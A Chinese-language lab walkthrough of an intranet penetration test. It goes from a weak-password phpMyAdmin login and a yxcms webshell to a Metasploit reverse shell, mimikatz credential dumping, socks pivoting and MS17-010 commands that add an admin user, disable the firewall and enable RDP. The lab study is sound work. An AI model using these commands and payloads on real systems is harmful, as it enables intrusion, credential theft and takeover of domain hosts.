声明:
本文章只是用于网络安全交流与学习,若学者用学到的东西做一些与网络安全不相关的事情,结果均与本人无关!!!
靶场环境
使用kali攻击web服务器,然后根据web服务器攻击其他域内的机器
这里很明确kali是攻击机,外网机器,局域网中的win7是web服务器,有2个网卡,通内网和外网,2k3以及2008r2是内网机器,不出网,其中一个是域控制器,也不出网,3个机器一起做内网。
这里简单的说一下:这里使用2个网卡,一个为nat 一个为仅主机,模拟内网和外网,做到内外网隔离
IP地址分别为:
kali:192.168.12.20
win7:192.168.12.27(作为外网,这里有web服务的,通过web服务getshell) 10.10.10.14(这个网卡做内网)
win2k3:10.10.10.11
2008r2(域控):10.10.10.12
ip配置图:
- 这里使用12网段,使用nat模式,可以和宿主机通信,这里也可以使用桥接模式,根据自己喜好来吧!我更喜欢使用NAT
- 这里是我配置的模拟外网的ip
ip配置图:
- 这里使用10网段,使用仅主机模式,切记讲主机适配器连接到此网络去掉,这样才能更好的模拟内网环境
- 这里是我模拟的内网的ip
说一下它们的关系!
win7与3个都通信
kali不能同win7,但是主机发现有win7,说明win7这里防火墙拒绝icmp协议,两个内网主机可以互相通信,但是不能与win7通信,说明这里成功的做到了内外网隔离,也就是说,后续我们可以直接访问到内网机器的时候就是成功了。
这里kali与域内的两个机器08r2以及win2k3是不能通信的,并且网络发现是找不到的!(也就是说只能通过外部web信息收集打点,一步一步将内网的2台机器渗透出来,后续会讲到)
-
思路开始!
-
主机发现
-
使用arp-scan以及netdiscover进行主机发现
# arp-scan -l
# netdiscover -r 192.168.12.0/24
这里也是很明显我们发现了
-
端口探测
-
这里我们nmap扫描发现开放服务
nmap -sS -T5 192.168.12.27 -p0-
nmap -Pn -T5 192.168.12.27 -p0- 这里使用半开扫描和无ping扫描都行,因为icmp协议不成功,所以可以使用无ping,这里其实还可以使用全扫描sT,我试过结果都一样的,各位师傅可以尝试一下。
漏洞利用
这里发现有一个80的端口且是http服务,所以我们可以去访问看一下
- 这里能找到绝对路径
这里有一个mysql连接监测,其实这里就应该有一种思路
-
首先我们可以尝试使用弱密码登录试试
第一种思路
第一次测试了admin admin 是错误的,使用root root 显示正常,所以这里就得到了账号密码就是root root
但是这里使用navicat尝试连接数据库的时候说网关不允许连接,这里猜想应该是防火墙的问题!或者是数据库没有远程登录的权限
-
另一方面应该会想到既然有sql的数据库,那就应该是会有后台登录的界面(其实事实证明我们的猜想是正确的的)
第二种思路
使用nikto 或者dirb 御剑 dirsearch等目录探测工具进行目录探测
nikto -host http://192.168.12.27
dirb http://192.168.12.27
这里目录扫描发现了存在一个phpmyadmin登陆后台
我们可以访问一下
我们发现使用root:root可以登陆成功!
这里我们发现了一个newyxcms的表,我们可以去访问
这里是一个ymcms,这里是有可以利用的漏洞的
这里我们找到了一些敏感信息
成功的登陆进去
登录进来,我猜测这里应该是有可以利用的漏洞的,发现了一这里有一个模板,使用的都是php的代码,那么我们可以尝试着写一个webshell来进行反弹
但是这里就出现一个问题,我们并不知道它的路径在哪里,所以我们需要去找
因为是一个cms 我们通过百度查询找到了它的php文件的路径\yxcms\protected\apps\default\view\default
我们直接写入一个一句话,然后使用冰蝎连接,然后可以结合msf反弹shell
- 这里使用REQUEST传参传一个cmd可以来执行命令,从而判断我们是否写入成功
这里是我们的路径,可以看到是没有内容的,我们可以用cmd传一个phpinfo来判断
http://192.168.12.27/yxcms/protected/apps/default/view/default/info.php?cmd=phpinfo();
这里再次解释一下,因为刚刚一句话写的REQUEST用cmd传,所以这里用?cmd=phpinfo; 来传入
(其实这里也可以用冰蝎做一个shell然后用冰蝎来上线msf)
这里我们一起来看使用冰蝎的过程
先用冰蝎生成一个webshell
将这个写入到模板中
(这里可以写入一个新的php文件也可以插入原有的php文件中)
http://192.168.12.27/yxcms/protected/apps/default/view/default/bingxie.php
这里跟蚁剑的思路一样,找到php的路径即可,之后我们可以尝试连接了
这里是使用base64,跟之前的一样
成功连接
这里我们可以先上线msf或者cs,或者msf和cs联动,后续在进行信息收集
这里我们上线msf即可
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.12.20 lhost => 192.168.12.20
msf6 exploit(multi/handler) > set lport 4444 lport => 4444
msf6 exploit(multi/handler) > run 使用msf监听本地的4444端口
冰蝎这里直接连接kali的4444即可
- 这里上线cs也是一样,但是cs的话需要jdk的版本与冰蝎的版本一致才可
这里一点给我连,msf直接就上线了,可见很成功!
内网嗅探
内网主机发现
- 接着我们就可以进行一些信息收集了
命令终端使用ipconfig 发现有2个ip一个是12.27 还有一个10网段的内网ip,所以我们需要收集内网的其他的主机
我们会发现他的dns后缀是一个localdomain 本地域,所以这里应该是有域环境的,所以需要我们进行信息收集
ipconfig /all # 查看本机ip,所在域
route print # 打印路由信息
net view # 查看局域网内其他主机名
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net user /domain # 查看域用户
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)3
net time /domain #同步与控服务器时间
- 这里有OWA ROOT-TVI862UBEH STU1 三个用户 所以还有2个主机
- 这里可以查看计算机的工作站、域、登录域
- 这里查询主机是否加入域
这里不知道为什么会出现这种情况说域控制器找不到
而且这里只要是关于域控的一些内容全部都找不到,我猜测可能是我搭建的环境的问题
那么我们可以通过ping命令来找到其他的机器的ip地址,也可以使用msf做内网路由然后使用arp扫描来发现ip地址
- 由于我们找到了3个主机的名称,通过ping看看能不能找到ip地址
ping ROOT-TVI862UBEH
ping OWA
ping STU1
这里找了ip为11
这里找了个ipv6.。。。。。
这里对比发现,我们stu就是现在机器的名称
这里也就是说 stu 是10.10.10.14
ROOT-TVI862UBEH是10.10.10.11
OWA是这个ipv6,可是不知道ipv4
- 这里又ping猜测了一下,发现owa的找不到,判断应该为域控,可是并不知道ip
通过我们的信息收集我们发现:这里域环境为GOD
该域名为god.org,域控为OWA$,域管理员为Administrator
-
反弹shell
- 可是这里由于是php得到的反弹shell,权限不足,只能执行一些命令,却是不能够导入mimikatz这些模块, 所以我们使用msfvenom来生成一个windows的应用程序来反弹shell,这样的话权限会更大
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.12.20 lport=4445 -f exe -o /root/heike.exe
- 将这个exe传入并且执行,使用刚刚连接的php的meterpreter传入即可,使用msf监听4445端口即可
upload /root/heike.exe c://windows//temp//
直接用冰蝎执行即可
这里成功弹上
(这里我们可以看到,使用windows的弹上来比php的权限更大)
这里我们得到msf管理员的权限以后可以导入mimikatz这个模块,获取域内的哈希
meterpreter > load winpmem kiwi
meterpreter > help
域内信息收集
meterpreter > creds_kerberos
这里就将域内的用户名密码拿下
这里可以使用hashdum来得到用户哈西
哈西格式为:
用户名:SID:LM哈希:NTLM哈希:::
得到三个账号 Administrator、Guest、liukaifeng01
但是他们的哈西是空密码
这是因为当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,密码字段显示为null,需要修改注册表等用户重新登录后才能成功抓取。
内网横向攻击
接着我们来对内网的机器进行探测,找到域控的ip
使用msf+proxychains搭建socks隧道,来对内网的机器进行嗅探
- 因为刚刚我们发现其内网是10.10.10.网段,所以这里我们的路由指向10网段
run autoroute -s 10.10.0/24
run autorote -p
- 这样就知道了去内网的方向
- 这样我们可以找到域控的ip地址了
meterpreter > run post/windows/gather/arp_scanner
RHOSTs=10.10.10.0/24 (这里强调一下,需要在我们添加路由以后,然后利用后渗透模块汇总的arp发现这个模块,来探测内网中存活的主机)
这里发现了域控的ip地址
前面已经确定了stu的ip是10.10.10.14、ROOT-TVI862UBEH是10.10.10.11、而这里也知道了OWA的ip是10.10.10.12
- 我们需要使用msf打开socks代理,然后用msf走socks代理来扫描内网的两个ip地址所开的端口
use auxiliary/server/socks_proxy 使用这个模块
将端口改为1111 地址为本地127 使用socks5代理,具体设置方法都一样,这里不做过多截图了
- 通过jobs命令可以看到当前运行的socks代理
- 这里还能使用netstat来查看端口是否开放,具体的用法各位师傅可以去找一找看
接着我们就可以使用使用本地的1111端口来启用socks隧道,去访问它的内网了!!!
vim /etc/proxychains4.conf(这个是kali里面的socks隧道的配置文件)
在最后输入ip和端口即可
这里我们可以使用proxychains来走socks代理
使用proxychains curl http://10.10.10.14来判断是否socks隧道搭建成功(这里稍微解释一下,因为10.10.10.14是192.168.12.27的那台机器的另一块网卡,正常情况我们直接访问是看不到的,所以这里使用socks隧道来访问,可以看到结果是ok,说明socks隧道搭建成功,因为在msf里面开起来socks隧道,且有路由,所以这里是可以知道10.10.10.14的!!!)
域内主机端口探测
这里使用msf的端口扫描模块对内网资产进行端口扫描
auxiliary/scanner/portscan/tcp使用这个模块
option中的参数 改ip为资产ip 端口为22,80,135,443,445,3389
设置为常用端口就好了,因为是实验环境,真实环境最好全端口扫描,但是线程别太大
14的
12的
14这个机器我们已经通过web打点那些,12是域控,11是另一台域内机器,所以我们先对11动手
11这里开放了445和135端口
域内主机漏洞利用
- 445先用永恒之蓝试一下看看
这里探测到可以使用ms17-010,那我们攻击一下试试
- 这里需要该个9999端口因为4444被用过了
- 但是这里使用445 ms17-010不能成功
- 那我们试试445的ms17_010_command这个
- 这里我们看到使用net user结果是成功的
那么这里我们就可以利用这个漏洞讲3389打开,然后创建用户登录即可
使用的命令:
set command net user aaa abce@1234 /add (创建一个用户,这里是有一个密码的限制的,所以使用一个复杂的密码,要不然创建不成功的)
set command net localgroup administrators aaa /add (将这个用户加入到管理员中)
set command netsh advfirewall set allprofiles state off (关闭防火墙)
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' (打开3389端口)
- 到此为止我们将3389打开了,然后还创建了用户,所以我们可以登录
拿下域内主机
这里使用proxychains rdesktop 10.10.10.11
这里要登录用户,不能登录域
登陆成功
- 但是这里应该是属于个人用户,而并非是域内用户
- 这里说明一下,在攻击域控的时候用上面的445不成功,永恒之蓝跟command都不能成功,这里就不给图了,直接换一种思路(但是我看有的师傅说可以成功,这里也可能是我的环境配置问题,反正我是没成功)
回到msf中用kiwi模块中的命令我们找到了账号密码
net use \\10.10.10.12\c$ "********":"administrator'
这里只能到这里,本来想着用msf代理去上线,可是试了很多次都没能成功,只有转到cs来尝试了,后续在出一个cs的教程,还在持续的更新中!(文章尽我所能,能想到的都写了,希望对各位师傅有帮助吧!)